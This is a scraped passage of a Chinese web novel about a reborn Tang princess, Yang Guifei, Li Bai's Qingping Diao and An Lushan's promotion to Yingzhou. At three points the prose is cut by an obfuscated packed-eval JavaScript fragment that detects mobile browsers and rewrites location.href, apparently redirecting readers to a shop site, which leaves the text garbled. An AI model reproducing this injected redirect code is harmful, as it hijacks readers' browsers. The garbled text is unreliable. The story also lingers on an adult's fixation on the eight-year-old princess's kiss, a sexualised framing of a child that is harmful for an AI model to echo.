只要自己一直不喜欢他,他就一直别想升官! 只要他升不了官,他就别想祸乱朝纲! 李婉宁越想越觉得开心,一把钻进阿娘的怀里,撒娇道:“阿娘亲亲!” 杨玉环失笑地看着自家女儿,低下头在女儿的小脸蛋上落下轻轻一吻:“好好好,亲亲。” 虢国夫人打趣道:“哎哟,咱们宁儿可是大孩子了,不可以随便和阿娘亲亲的!” 李婉宁登时鼓起小腮帮子,又羞又恼地瞪着三姨:“不要,大孩子也可以和阿娘亲亲的!” “三姨姨坏坏!” 长辈们皆笑作一团。 主座那处热闹非凡,而在客座的各处,勋贵们亦是往来奔走,互相结交。 安禄山因着白日里与公主的互动而受到了场下无数人的关注,此时此刻,举杯前来结交者络绎不绝。 自然也有人是因为嫉妒,而专门来羞辱他。 只是对于从前的他而言,被羞辱早已成了常态,可是能受到这么多人的示好,于他而言却是第一次。 张利贞也不禁笑着夸赞道:“放眼整个大唐,生辰宴上来献舞的人那么多,唯独贤侄能入公主青眼,可见贤侄必有不凡之处啊。” 他说着举起酒杯,朝着安禄山道:“张某就在此预祝贤侄,平步青云了!” 安禄山受宠若惊地举起酒杯,回敬道:“禄山能有今日,全仰仗义父的栽培和世叔的提拔,若禄山日后真能平步青云,必不忘义父和世叔的大恩!” 张利贞不由得大笑:“守珪兄,你真是收了个好义子啊!” 就连向来威严过剩而和蔼不足的张守珪,也拍了拍安禄山的肩膀,面露微笑:“这孩子是有大志气的,当年我从羊圈里抓住他时,就看出来了。” 安禄山惊讶地看着自己的义父。 自己跟随义父从军已有四年了,没有人比他更清楚,他这位义父向来不假辞色,这辈子估计都没说过几句好话。 如今他居然这么夸自己...... 还有周围人的善意,都是自己人生的前二十年里,从未有过的。 自从昨日自己来到长安以后,受到的每一丝善意,全部都和公主殿下有关。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14426335|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安禄山深吸了一口气,极目远眺主座的方向,隐约能看到那个依偎在贵妃娘娘怀里的小小身影。 明明今日才刚到八岁,却已然生得明眸皓齿,如花似玉。 宛若牡丹仙子降世一般。 这就是,他们的公主殿下...... · 彼时,在客座处的另一个角落里,一个身着翰林官服的男子喝得伶仃大醉。 同僚纷纷笑道:“太白啊太白,你今日怎么这么快就不行了?” 李白笑着摆了摆手。 却忽地一转眼,看到了主座的位置。 他不由地眯起眼睛,看清了那被层层艳丽的衣裙簇拥在中间,相互依偎在一起的贵妃娘娘和公主殿下。 母女那绝美而又相似容颜,就恍若...... 穿过群山叠嶂,才得以窥见的仙子。 李白忽地福至心灵,在醉意的熏陶下灵光一闪。 他仿佛被雷劈了一般,全身都在微微颤抖着,嘴里喃喃道:“若,若非群玉山头见......” “会向瑶台......月下逢。” 同僚见他不对劲,连忙关切道:“李白你没事吧?” 谁料李白却忽然从位子上蹦了起来,大喊道:“拿,拿纸笔来!” “谁有纸笔!” 同僚纷纷被吓坏了,看着他癫狂的模样,连忙去找纸笔。 而与此同时,他的呼喊声很快吸引了在场所有人的注意。 李隆基眯起眼睛看向李白的方向,问道:“出什么事了,谁在那边大喊?” 高力士派小太监跑去看了一眼,末了匆匆跑回来道:“回禀陛下,是翰林供奉李白,似乎是酒后发疯,吵嚷着要纸笔。” “哦?”李隆基不禁挑眉。 他了解李白,此人乃酒中诗仙。 写诗亦如同作曲,灵感迸发之时,什么都能不管不顾。 况且李白嗜酒如命,人在伶仃大醉之时,最易激发灵感。 彼时众人都好奇地看向那边,李婉宁一听说是李白,那双灵动的杏目立马开始闪闪发光。 “哇,那他是要开始写诗了吗!” 不知道会是哪一首呀! 她走大运了吧!上辈子想都不敢想,这辈子居然能撞见李白写诗! 闻言,李隆基笑着问道:“宁儿想去看看吗?” 李婉宁的头点得跟捣蒜一样,兴奋抱住阿爹胳膊,撒娇道:“我想去我想去!” “阿爹带宁儿去嘛!” 李隆基哈哈大笑:“好,那咱们就去看看!” 他说着就站起身,牵着女儿的手,往那边走去。 李婉宁也抓住杨玉环的手,兴奋道:“阿娘也一起!” 杨玉环笑着也站起身,她身边的三位国夫人也都好奇地跟了上去。 到最后,等到李隆基带着妻女来到李白面前时,周围已经围了一圈人。 李白担任翰林供奉数载,他的才气,令满朝叹服。 此时此刻,所有人都在好奇地看着那个趴在桌上奋笔疾书的身影,期待他会作出怎样的作品。 末了,李白放下了笔,小心翼翼地将那张纸拿起,细细端详了一遍。 最后满意地长叹了一口气。 等他回过神来时,蓦然发现周围已经站满了人。 李白当即被吓了一跳。 “微臣,见过陛下,娘娘还有小殿下!” 李婉宁松开阿爹阿娘的手,兴奋地来到李白跟前,那双灵动的杏目冒着闪亮的小星星。 “李白李白!你写了什么诗呀!” 好好奇好好奇好好奇啊! 李白闻言微微一愣,继而执起那张宣纸,含笑着呈上前:“启禀陛下,今日乃公主殿下生辰,微臣有感而发赋诗一首,献给娘娘和小殿下!” 14. 瑶台月下逢 李婉宁的脸上当即露出了惊喜的神色:“给,给我和阿娘的?!” 天啊,她何德何能?! 李隆基接过那张宣纸,李婉宁连忙过去抓着阿爹的手臂,伸着小脑袋去看。 杨玉环也不禁瞥眼朝那张纸看去。 周围的所有人都仰着脖子朝那张纸望过去,几乎望眼欲穿。 就这样,李婉宁的目光落在那张万千瞩目的宣纸上,待看清了那上面的诗句时,她难以置信地瞪大眼睛。 这,这…… 居然是这一首!!! 实际上不只是她,所有能看清这首诗的人,全都叹服地瞪大了双眼,倒吸了一口凉气。 不知过了多久,回过神来的李隆基笑着看向李白:“你这首诗,叫什么名字?” 李白微微一愣,他光顾着写诗了,名字压根就没想过。 但见他略微思索了片刻,最后作揖道:“回陛下,曰……清平调。” “好!”李隆基高声问道,“李龟年何在?!” 话音刚落,身后的人群开始攒动起来,没过一会儿,一个身着乐服的男子挤了进来,微微正了正头上的玉冠,朝着李隆基作揖道:“回禀陛下,李龟年在!” 李隆基将那张宣纸拍在了他的身上:“今夜,就唱这首!” 李龟年连忙将那张纸举起看了一遍,而后激动地全身都在颤抖: “这,这……” “好诗……好诗啊!!!” 他的双眼迸发着亢奋的神采,当即朝着陛下行过一礼,随后转过身跌跌撞撞地挤出人群,安排自己的梨园乐队演奏此曲去了。 这么好的诗歌,今夜过后,一定会响彻整个大唐!!! 而此时,李婉宁也才堪堪回过神来。 可是她根本按捺不住激动的心情。 她万万没有想到,这辈子,这首大名鼎鼎的《清平调·其一》,居然会是用来夸自己的! 这事说出去,她能吹到下辈子! 彼时身侧的杨玉环见到女儿低头不语,含笑着拍了拍女儿小脑袋瓜:“宁儿在想什么呢?” 怕不是高兴坏了? 李白这首诗,当真是美到极致。 不过,宁儿今年才八岁呢,能看得懂这么深奥的诗么? 这般想着,她却听到面前的女儿低声喃喃道:“若非群玉山头见,会向瑶台月下逢......” 李婉宁猛地抬起头,目光炯炯地看向李白:“你,你是在夸我和阿娘是仙子嘛!” 哇! 上辈子她对这些诗都没什么兴趣,从来没有仔细地理解过其中的含义,现在再认真体会一下,真的是...... 好美!李白也太会夸了吧! 闻言,李白微微一愣,那双略微显露着醉意的眼眸看着面前灵动秀丽的面容,在顷刻之中迸发出了惊喜的亮光。 公,公主殿下她看懂了?! 小殿下今年才八岁啊,她居然就看懂了! “对!”李白含笑看着面前的李婉宁,“娘娘和殿下何止是美若天仙,只怕是天仙下凡也不如啊!” 李婉宁:!!!! 谁说李白随心所欲、狂傲不羁的,她现在就宣布李白是天底下最会夸人的诗人! 于是,李白就看着陛下身侧的小公主迈着小步子来到了自己的面前,踮起脚尖在自己的脸上亲了一口。 而后,那张俏丽的小脸上绽放出了一个明媚的笑颜。 “李白,谢谢你!” 李白整个人都怔愣在了原地。 他看着明眸皓齿的小公主,明明已经转过身跑远了,可是那在自己脸上留下的香软气息却是经久不散。 没有人能体会到,身为崇拜牡丹仙子的信徒,被小殿下亲的这一口,究竟意味着什么。 李白嘴唇嗫喏着,发出了低低的笑声,脸上的神情平添了几分狂热。 他的牡丹仙子......他的公主殿下啊! 彼时,李婉宁已经欢天喜地跑回到了阿爹阿娘的身边:“阿爹阿娘抱抱!” 一旁的高力士含笑道:“小殿下今年不过八岁,就能参懂诗文,如此聪慧过人,当真是继承了陛下和娘娘的天赋啊!” 杨玉环抱着女儿笑得喜不自胜,三位国夫人也含笑将自家小妹和小外甥女围在中间,夸赞的话语不绝于口。 李隆基开怀地大笑:“好!赏!” “重重有赏!” 而与此同时,越过层层人群之外,在花萼相辉楼的另一边,一众武将在远处纷纷仰着脖子,好奇地望着李白那边。 因着武将和文官在晚宴上完全分成了两列,他们根本就挤不进去人群里,自然也没法凑这个热闹。 安禄山第一次庆幸自己生得如此身形,在一众高大的武将之中也能鹤立鸡群。 也正因此,他才能亲眼目睹远处发生的一切。 他看见了,小公主跑到那个名叫李白的翰林学士面前,然后踮起脚尖,亲了那个李白的脸一口...... 小公主她,亲了......脸...... 一股莫名的情绪逐渐涌上了心头,他只是站在远处看着,便能想象到小公主的樱桃小嘴,落在脸上会是多么香软的感觉。 如,如果...... 安禄山猛地惊醒。 他怎可亵渎公主! 他深吸了一口气,想要将这份冲动强行压下去。 可是越是强压,他就越是心烦意乱。 音乐不知何时再次响起了。 丝竹管弦相应和,李龟年唱诵诗歌的声音回荡在每个人的耳中。 至此,晚宴上的每个人,都终于知晓了李白所作那首诗的内容。 真的是......太美了! “云想衣裳,花想容......”安禄山晃动着手里的酒杯,低声念诵着。 他从小到大,没有念过一日的书,还是在投身军旅之后,才开始慢慢自学的。 虽然他通晓六国语言,可是懂语言,和懂诗词,是两个概念。 他听不懂这几句诗句的含义,也体会不到其中的意境。 可是他知道,用云啊花啊,这些美丽的东西形容公主,那一定很美,很美。 很美...... 公主殿下她,合该就这么美。 她既是牡丹仙子下凡,那么牡丹仙子,也一定是天上的所有仙女里面,最美的那一个。 安禄山举起酒杯,将杯中酒一饮而尽。 这一刻,他再次在心里下定了决心。 总有一日,他一定要再次回到这座长安城。 他就算是拼尽一切,也要再次见到长安公主,和她再见上一面。 如果......不止是遥远地看一眼,而是真正地面对面,再说几句话...... 那就更好了。 · 晚宴结束了,参加晚宴的达官显贵们也陆续离场。 至夜,李隆基带着妻女转道去了隔壁的勤政务本楼。 今日公主生辰宴,自然不止吃喝玩乐这么简单,这一点李隆基也清楚得很。 今年各地的官员调动,正好也顺便提一提了。 涉及政事,杨玉环本欲带着女儿退避,然而母女俩人才刚转身,便迎面撞见了应召前来的宰相李林甫。 李林甫当即恭敬地行礼道:“微臣见过娘娘,见过小殿下。” 这时,李隆基忽地响起了什么,朝李婉宁招了招手:“宁儿!” “宁儿来啦!”李婉宁蹦蹦跳跳地跑过去,钻进阿爹的怀里,一双灵动的杏目弯成了好看的月牙,“阿爹叫宁儿有什么事呀!” 李隆基含笑地看着自己的小女儿,瞥眼看到案台上,那张今日生辰宴前来献技宾客的名单。 “宁儿还记得,昨夜救了宁儿的那个人吗?” 李婉宁点了点头:“救了我和巧织姐姐,还有好多姑娘们的那个救命恩人吗,宁儿记得呀!” “对。”李隆基伸出手,轻轻揉了揉女儿的发顶,“那宁儿觉得,阿爹要怎么报答宁儿的救命恩人,才比较合适呢?” 啊? 李婉宁眨巴眨巴眼睛,让,让她决定怎么报答安禄山? 可以报答那个家伙赐金放还,永生不得入仕吗? 把安禄山和杨国忠这两尊大佛打包扔出去,大唐的祸患就能少了一半。 但是她又不能直说...... 真讨厌。 李婉宁在心里思索了许 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唉......升多大的官呢? 万一升得太好了,给那小胖子膨胀成了大胖子可就完蛋了;可万一升得太小了,又显得自己怪小气的。 最后李婉宁摇了摇头:“宁儿不知道。” 她这般说着,笑眯眯地挽住阿爹的胳膊:“虽然宁儿不知道升多大的官合适,但是宁儿知道,阿爹肯定有分寸!” 这事她不管了,看她爹的吧。 果不其然,此言一出,李隆基当即笑着道:“好,既然如此,那阿爹就自己看着办了。” “嗯!”李婉宁笑着仰起脸,朝着阿爹的脸上亲了一口,然后一溜烟跑回到了阿娘的身边,朝阿爹挥了挥手,“那宁儿和阿娘就先回去啦!” 李隆基朝着妻女含笑道:“去吧去吧。” 临走时,李婉宁扭过头喊道:“阿爹也不要忙得太晚,要注意身体哦!” 最后等到杨玉环和李婉宁母女两人离开后,李林甫笑着上前:“小殿下不仅聪慧过人,还活泼孝顺,真不愧是陛下的女儿啊!” 李隆基一手支在案台上,笑着道:“能有宁儿这么聪慧懂事的女儿,是朕的福气。” “那怎么能呢?”高力士当即道,“公主懂事,那也得是陛下您教得好啊!” 李隆基大笑。 他笑眯眯地点了点高力士和李林甫:“你俩这一唱一和的,当着朕的面唱戏呢!” “行了。”李隆基把案台上的那张宾客名单往前一推,“李林甫,那个安禄山,你怎么看?” 闻言,李林甫微微一笑。 那个叫安禄山的藩将,在白日里受到小殿下的优待以后,他就连忙派人去查那个安禄山的身份了。 方才听到陛下和小殿下的对话,没想到还有这么一层。 小殿下向来是陛下的心头肉,那个藩将既然救了小公主,想来陛下在心里已经有了决断。 况且......一个胡人出身的藩将,就算再怎么受宠,也威胁不到自己。 他当即道:“回禀陛下,臣以为,此子天赋异禀,即便是单凭战功,亦应擢升。” “如今他既然是小殿下的救命恩人,那么就更应当厚待他,这样不仅是为了报小殿下之恩,更是令有功将士功得其所,也叫天下人看清楚,我大唐包容万象,从不因出身而厚此薄彼!” “好!”李隆基抚掌道,“朕记得,那个安禄山是出身营州是吧?” 高力士恭敬道:“对,陛下您没记错。” “嗯……”李隆基执起笔,沉吟道,“官员调动非小事,这次就写个敕旨吧。” 于是,在李林甫和高力士的谏言下,继安禄山之后,那份名单上又有若干文官陆续变动了。 夜渐渐地深了。 皇宫外,一辆马车在虢国夫人的府邸外缓缓停下。 待到马车彻底停稳后,虢国夫人和杨钊一同下了马车。 两人方才走进府内,便迎面出来了一个衣着华丽,面容姣好的女子。 “夫君,姐姐,你们回来啦!” 15. 任营州都督 此人便是杨钊之妻,名裴柔。 裴柔见到虢国夫人和自家丈夫自花萼相辉楼归来,连忙迎上前来,含笑问道:“如何了?” 先前丈夫就和虢国夫人商议着,趁着长安公主生辰的日子去到陛下面前露个脸,也不知是否顺利。 闻言,杨钊晦气地朝地上啐了一口:“不如何!” 裴柔被吓了一跳。 反倒是虢国夫人悠哉游哉道:“都告诉你了,不要心急,这次是没赶上机会,但是机会这种东西嘛,有的是。” 杨钊垂头丧气道:“机会有的是,那我怎么八年才只升了一次官?” 虢国夫人瞪了他一眼:“收收你那没出息的样子,你那度支员外郎若是真干得不错,能受到赏识,还会升不了官?” 杨钊不吭声了。 末了,虢国夫人冷哼了一声:“罢了,往后我想想办法,打听打听宁儿为什么不喜欢你。” 杨钊叹了口气:“那您多带我在小殿下面前露露脸,混熟了,说不定小殿下就喜欢我了呢?” “呵。”虢国夫人不由得冷笑,“宁儿虽然今年才八岁,可是打小聪慧有灵性,你要是真把宁儿当成不懂事、好糊弄的小孩,那你这度支员外郎也别干了,趁早递辞呈回老家吧!” 闻言,杨钊不由得苦着一张脸。 他当然知道小殿下有灵性啊,从小殿下刚生下那会他就看出来了。 可是正因如此,他才郁闷啊! 眼见着气氛有些凝固,裴柔忙上前挽起虢国夫人的手臂,温柔道:“我夫君是有些急躁了,姐姐你也别怪他。” 虢国夫人叹了口气:“我能怎么怪他呢,到底是我的族兄。” “我们弘农杨氏一荣俱荣,一损俱损,说白了,大家都是同一根绳上的蚂蚱。”虢国夫人这般说着,伸出手揽住了裴柔的腰,带着她转身往屋内走去。 临走时,还朝着杨钊摆了摆手:“今日太晚了,就先这样吧,我带着妹妹去休息了。” 杨钊看着虢国夫人带着自己妻子离开的背影,脸上露出一丝苦笑。 当年裴柔趁他出使江左,与外人私通有孕,回来还蒙骗他说什么在梦里和他苟合,真当他是傻的不成? 他本想着把这个娼妇乱棍打死,奈何虢国夫人却中意裴柔,而自己又有求于虢国夫人,最后只好捏着鼻子任了。 媳妇被别人睡着,自己还要养别人的儿子,呵...... 世人皆道他和虢国夫人私通,荒淫无度,可是若虢国夫人看上的是自己倒还好了。 可惜,虢国夫人根本就看不上天底下任何一个男子。 杨钊长叹了一口气,抬头望向天边的明月。 今日五月十五,圆月皎洁,令人动容。 杨钊脑中灵光一现。 .......不行。 他从前努力讨好自己的族妹和外甥女,以为大家都是同族,总会相互庇护的。 结果到最后,却是换来了八年的热脸贴冷屁股。 既然讨好同族不行,那他就从外边想法子,宰相李林甫、宦官高力士......那么多权臣,他全都讨好一遍。 利益当前,他就不信那些人能跟贵妃和公主一样,一直给他撂脸子! 杨钊猛地一拍大腿,下定了决心,兴冲冲地离开了院子。 夜色宁静,然而大唐盛世光荣的表象背后,终于开始了暗流汹涌。 ...... 公主生辰宴结束了。 幽州节度副使安禄山骁勇善战,累计军功,擢升营州都督,兼任平卢军使,不日前往营州就任。 彼时营州尚未设立节度使,都督一职,便是营州如今的一州之长。 来长安一趟从一州副长升任成为了正长,张利贞力夸安禄山天资纵横,假以时日必为朝中重臣。 张守珪也曾担任过营州都督的职位,含笑拍着义子的肩膀,叮嘱了许多的事情,末了又将自己曾在营州的亲信名单交给了他,让他随机应变。 这本来应该是件好事,然而安禄山接过义父的名单后,却只能苦笑。 让他去哪都好啊,怎么偏偏是回营州...... 营州的治所乃是柳城,他自从四年前入伍从军之后就再也没有回过柳城一次,如今这样一来,他是不想回也得回了。 不仅要回,还要在那里常驻,不知要常驻多久,才能再次迎来调任。 ......算了。 尽快吧,他想办法尽快调任。 如果能调到长安为官的话...... 如果能再有幸再见到长安公主一眼...... 这般想着,那张虽然年幼,却已然俏丽动人的面容再次浮上了他的心头。 安禄山深吸了一口气。 张守珪等人到长安参加公主生辰宴算作公务,来的时候皆未带家眷,如今回去时,也是快马轻行,很快就回了幽州。 等回到了幽州军营以后,安禄山便开始收拾行李。 他在幽州没有置办房产,一直住在军营里,军帐里的东西也不多,很快就能收拾好。 他在继父家的马厩里长大到十四岁后,便混迹在营州的边境做了一个互市牙郎。 也是从那个时候,他开始意识到,他学语言学得很快,几乎没用几个月,就能在六国边境和人随意交流,畅通无阻。 原来他也并不是一无是处的。 可是做牙郎的日子也没那么好过的,那些被买卖的异族奴隶,大多都是吃不饱饭,还要忍受主人的鞭打。 而他们这些在边境做牙郎的,除了不必忍受鞭打以外,比那些奴隶也好不到哪去。 很多时候他们吃不上饭,都沦落到去偷去抢的地步。 安禄山还记得当年他来幽州偷羊的时候,饿得饥肠辘辘,耳鸣眼花,几乎连走路的力气都快没了,不然也不会被义父抓住了。 但是也正因此,他因祸得福,入了义父的青眼,到了义父手底下做事,如今才得以成为营州都督,统领一方。 现在生活是越来越好了,但是当年的日子也实在是给他苦怕了,即便到了现在,他也不敢奢侈挥霍,所有的钱财都攒起来,以备不时之需。 这般想着,安禄山仔细地清点好自己这些年来攒下的金银和绢帛,然后将它们小心地收进了包袱里。 这些基本就是他的所有家当了。 就在这时,帐外响起了一道呼喊:“安禄山!” 安禄山走出军帐一看,只见帐外正站着一个身材瘦削,鸢肩驼背,相貌阴鹜的男子。 那人气质阴沉,即便如今正直仲夏的正午,阳光灿烂热烈,可是那人站在那里,周围的景物仿佛都变得阴暗了几分。 安禄山略微一挑眉,原来是史崒干。 史崒干和他一同出身营州柳城,两人可以说是童年一起长大的。 并且在当时,史崒干也罕见地没有因为他“不祥之子”的身份而歧视他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14426337|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来他长大到了营州边境做牙郎,因为偷羊被义父捉住,义父见他言语豪放,颇为欣赏他,于是将他留在了手底下。 阴差阳错地,史崒干当时也投入了义父的手下,就这样,两人时隔多年再次一起共事,一同担任捉生将,深入敌军的地盘,活捉敌人。 此时,帐外的史崒干见到安禄山出来,丝毫不见外地揽过后者的肩膀,和自家好兄弟一起进了军帐。 等进了军帐,安禄山不由得问道:“怎么了?” 史崒干睥睨了安禄山一眼,皮笑肉不笑地开口:“行啊你,去了长安一趟,直接升了个官。” 而后见安禄山不语,他的眼底闪过一丝嫉恨,转瞬即逝。 “明明咱俩都是在柳城出生长大的,也都干过牙郎,后来又在差不多的时候,不约而同做了张将军的捉生将。” “可是结果呢,张将军偏偏只收了你做义子,咱们来张将军手底下也有四年了,你先是干上了张将军的副手,如今又升任了营州都督。” “当真是令哥哥我望其项背啊!” 缘分这种东西,本是妙不可言的。 史崒干本以为他们两个都这么有缘分了,以后说什么也会一起升官,一起发展下去。 可是他没想到的是,自从入了行伍,安禄山这小子简直就是平步青云,很快就登上了他遥不可及的位置。 如今四年过去了,这小子已经爬升至了都督,统领一整个营州。 可他呢? 到现在也不过只是一个折冲都尉。 史崒干实在是不能理解。 凭什么啊? 论相貌,他自己承认他相貌平平,可是这小子都胖成这样了,比他也强不到哪去吧? 论脑子,他俩曾经的经历都差不多,这足以证明他俩的头脑也是差不多的。 论家世,那就更扯淡了! 他史崒干是出身低贱,可是当年在柳城谁人不知,安禄山这小子是能够带来祸患的不祥之子! 结果现在过去了这么多年,他可是一点也没看出来这小子招来了什么灾祸。 反倒是离开了柳城以后,这小子升官的速度简直比吃饭还快! 凭什么啊! 此时,若是安禄山能够听到史崒干的心声,必然要冷笑一声。 我能有今天,靠的全都是我在战场上拼了命地打仗,用九死一生换来的军功。 幽州邻近的诸国边境,没有一个部落没败在我手里过,平叛战藩,我从来都是豁出性命去干,因此军中盛传我“骁勇”。 你有这抱怨不平的功夫,不如想想怎么去打仗拿点军功来得实在。 实际上,在听到史崒干这番阴阳怪气的话时,安禄山就已经在心里冷笑了。 不过不服归不服,抱怨归抱怨,史崒干也算是他交过命的兄弟,没必要因为这点小事就闹起矛盾。 况且,从前他在柳城时受尽了别人的白眼和唾弃,愿意把他当人看的实在不多。 史崒干就是其中一个。 如今他即将离任,等往后兄弟两人再次相见,不知道又是何时了。 最后安禄山还是温声安慰鼓励了史崒干几句,才把对方的脸色哄得好看了一些。 等到把人安慰好了送出去以后,安禄山又把行李收拾好,在军帐里休息了一夜。 至翌日天亮时,他正式去拜见张守珪,向自己的义父告别。 而后,去营州就任了。 16. 游子归故乡 安禄山的继父在柳城也是有些人脉的,因此都督府内认识他的也不少。 等到他一路进入营州的都督府,将就任公文递上去以后,那些人不禁有些尴尬地看着他,面面相觑。 不过好在,在都督府内真正任高官、掌握话语权的,其实大多并非柳城本地人,主要还是出身自内地的汉族。 他们不知道不祥之子的名头,也不信那一套。 核验过了安禄山的就任公文以后,当即便有人含笑道:“安都督上任前来,张节度使先前已经致信给下官,我等已经恭候安都督多时了。” “只是没成想安都督来得这样快,这样,如今安都督的府邸已经洒扫完毕,安都督路途匆忙,下官先带您去参观府邸,顺道休息片刻,至稍晚时分,下官们于都督府设宴,为安都督接风洗尘。” “安都督以为如何?” 日夜兼程,安禄山也是有些累了,如今闻言,自无不应。 营州给都督置办的院子很大,房屋亦是敞亮通透,安禄山第一次一个人住这么大的府邸,竟显得无比空旷。 到了晚上,手下们在都督府设宴,笙歌艳舞,喝得安禄山双颊微红。 他有些迷迷糊糊地看着眼前姿态柔媚的舞女。 恍惚间,安禄山竟仿佛看到了长安公主的影子。 他猛地回过神来,待神智略微清醒了几分以后,便看到那个舞女朝他抛了一个媚眼。 见到舞女矫揉造作的模样,不少人朝她吹了声口哨。 然后安禄山的眼底却是闪过冷漠和失望。 根本就没有丝毫的相像之处。 身边人见他多看了那舞女几眼,连忙凑近他,讨好道:“都督可是喜欢这个舞女?” “若是喜欢的话,下官便做主将这舞女献给您了。” 安禄山冷漠地打量着那个舞女,随后冷笑:“不喜欢,太做作了。” ...... 当夜,安禄山又做了那个梦。 他又梦到了那个宛若仙境一般的院子,盛放着无数的牡丹花。 而在那些牡丹花丛中,那个窈窕的身影依旧身着一袭鹅黄色的襦裙,依旧背对着他。 时隔八年了,最初的那场梦随着时间的冲刷,在他记忆里的痕迹都渐渐地淡化了。 而梦里的他,也不再是那个十二岁的少年。 八年前的他,尚不及四周盛放的牡丹高,而如今的他,视线已经能够越过丛丛牡丹,径直看到那不远处的背影。 可是那个鹅黄色的背影,却似乎没有任何的变化。 她没有长大,没有变老,依旧是少女的模样。 就如同这座开满牡丹花的院子一般。 安禄山下意识觉得,这一定不是巧合。 也许有什么在冥冥之中指引着他。 不然,为何隔了八年之久,他会再一次做同样的梦? 这般想着,他迫不及待地迈出自己的步伐,向着那个俏丽的背影走去。 “你是谁?为什么会出现在我的梦里?” 那个背影没有回答。 这一次,他离那个背影很近、很近了。 近到,他能够清晰地看清对方那鹅黄色的襦裙上,鲜妍艳丽的牡丹花纹样。 安禄山不由自主地伸出手,想要触碰少女的肩头。 这时,面前的那个窈窕身影动了。 那个身影微微低下头,用着微不可闻的声音喃喃道:“安史......不要......” 那个声音太过细小,安禄山几乎没有听清:“什么......?” 这时,梦醒了。 安禄山睁开眼睛,目光所及之处,整个屋子都很陌生。 这里是...... 片刻后,他想起来了。 昨日他来到营州就任,夜里晚宴过后,他回到了自己的新家里。 安禄山深吸了一口气,从榻上坐了起来。 昨夜的那个梦如今依旧历历在目,无比清晰。 那个身影说,不要,安史? 安史是什么? 那个声音太小了,中间想来有什么东西是他没有听到的。 现在细细地回想起来,安禄山莫名觉得那个声音有些熟悉。 还有那个背影…… 他似乎是在哪里见过,又在哪里听过。 安禄山继续努力深想着。 他印象里,唯一见过身着鹅黄色襦裙的女子,便是在长安,公主生辰宴上的贵妃娘娘和长安公主。 那个背影的气质,看着绝对不像贵妃娘娘。 反倒是像极了…… 声音,也是…… 公主今年尚且八岁,声音、身形,都还是个小孩子。 他很难确定,梦里的那个背影,到底是不是…… 安禄山深吸了一口。 他甚至有些不敢深想。 那样美好高贵,宛若天仙一般的公主,就连出现在自己的梦里,都像是遭到了某种玷污。 ……算了,不想了。 安禄山起身下榻、穿衣洗漱,而后走出了府邸。 营州的地界在大唐的东北边境,即便是夏季,早晨的空气中也透露着一丝凉爽。 大街上人来人往,有人看着他自街上经过,纷纷疑惑地眯起眼睛,仔细打量着他。 这个身材高大的男子,看着怎么有些眼熟? 而安禄山同样在用一种复杂的目光,打量着周围的一切。 似乎都没有变,又似乎哪里都变了。 他漫不经心地留意着每个人向他投来的眼神,却再没有看到哪怕分毫的轻视和鄙夷。 安禄山微微闭上了眼睛。 而后快步去了都督府,乘上一匹千里快马,向着营州的城门疾驰而去。 他的马出了柳城,在营州的地界畅通无阻,不消半日,便来到了营州的城门前。 守城的士兵见到有人策马狂奔而来,还未等开口阻拦,便在见到对方身上的腰牌时,纷纷闭上了嘴。 原来这位是新上任的营州都督。 身形竟如此高大威猛,想来是一位骁勇善战的猛将。 安禄山在营州的城门前停下了。 而后他下了马,牵着马来到了当年安贞节等候他们的位置。 守城的士兵见他过来,纷纷行礼:“见过都督!” 安禄山忽地有些恍然。 他想,他知道哪里一样,哪里又不一样了。 原来是他不一样了。 安禄山缓缓地笑了。 他如今也算位高权重了。 从此以后,再也没有人敢瞧不起他,再也没有人敢在哪里守株待兔,然后把他捉回去哪里了。 他重新上了马,朝着柳城都督府的方向疾驰而去。 · 随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14426338|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着营州新任都督的到来,营州几乎万象更新。 营州地界身处大唐的最东北,可以说是大唐东北边境的前沿重镇,但其实它处于一个十分尴尬的位置。 营州西北方向临近契丹、奚两大部落,东北又与室韦、靺鞨毗邻,往南则与新罗接壤,可以说它几乎是被外邦包围起来的,地接五藩,四面皆敌。 也正因如此,营州界内自古以来便混杂着各种汉族以外的百姓,甚至在大多数的年代,营州内生活的藩人远比汉人要多得多。 这些藩人的生活习俗自然与汉人有极大的不同,习惯与习俗的差异,有时候会造成极为严重的矛盾,甚至演变为内斗。 而巧合的是,安禄山是杂胡人,却又在汉人之中生活多年,因此对于藩汉双方的生活习俗都相当的了解。 又因着他精通六国语言,即便是手底下的藩官和汉官之间有了什么矛盾,他也能出面调解。 而这,还不是他在所有都督亦或节度使级别的将领中最大的优势。 他最大的优势是,他的经商头脑。 因为营州处于四面皆敌的境地,因此要镇守这片土地,每年都需要消耗极大的人力和物力。 